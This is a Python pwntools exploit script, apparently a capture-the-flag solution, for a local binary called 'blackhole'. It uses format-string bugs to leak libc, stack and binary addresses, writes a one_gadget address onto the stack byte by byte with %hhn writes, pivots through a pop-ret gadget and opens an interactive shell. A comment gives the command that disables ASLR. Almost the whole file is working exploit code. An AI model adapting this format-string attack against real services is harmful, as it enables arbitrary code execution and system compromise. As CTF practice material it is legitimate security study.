#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

# echo 0 > /proc/sys/kernel/randomize_va_space 
# Closing ASLR

r = process('./blackhole')
libc = ELF('./libc-2.27.so')

def fmt(s):
    r.sendline(s + 'AAA\x00')
    r.recvuntil('AAA')

r.sendline('%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')
leak = (r.recvuntil('\n')).split('.')
print leak

libc_base = int(leak[1],16) - 17 - libc.symbols['read']
print 'libc_base :',hex(libc_base)
leak_stack = int(leak[6],16)
print 'leak_stack :',hex(leak_stack)
binary_base = int(leak[5],16) - 0x11fa
print 'binary_base :',hex(binary_base)
one_gadget = libc_base + 0x4f2c5
print 'one_gadget :',hex(one_gadget)

pop1ret = binary_base + 0x000000000000127b

fmt('%{}c%7$hn'.format(str((0x8010 & 0xffff))))
fmt('%{}c%9$hhn'.format(str((0x01  & 0xff)))) # fd = 1

for i in range(6):
    r.sendline("%{}c%5$hhn".format(str(((leak_stack - 0x8 + i) & 0xff))))
    time.sleep(0.3)
    r.sendline("%{}c%7$hhn".format(str((one_gadget >> 8*i) & 0xff)))
    time.sleep(0.3)


r.sendline("%{}c%5$hhn".format(str(((leak_stack - 0x18) & 0xff))))
raw_input('#')
r.sendline("%{}c%7$hn".format(str(pop1ret & 0xffff)))



r.interactive()
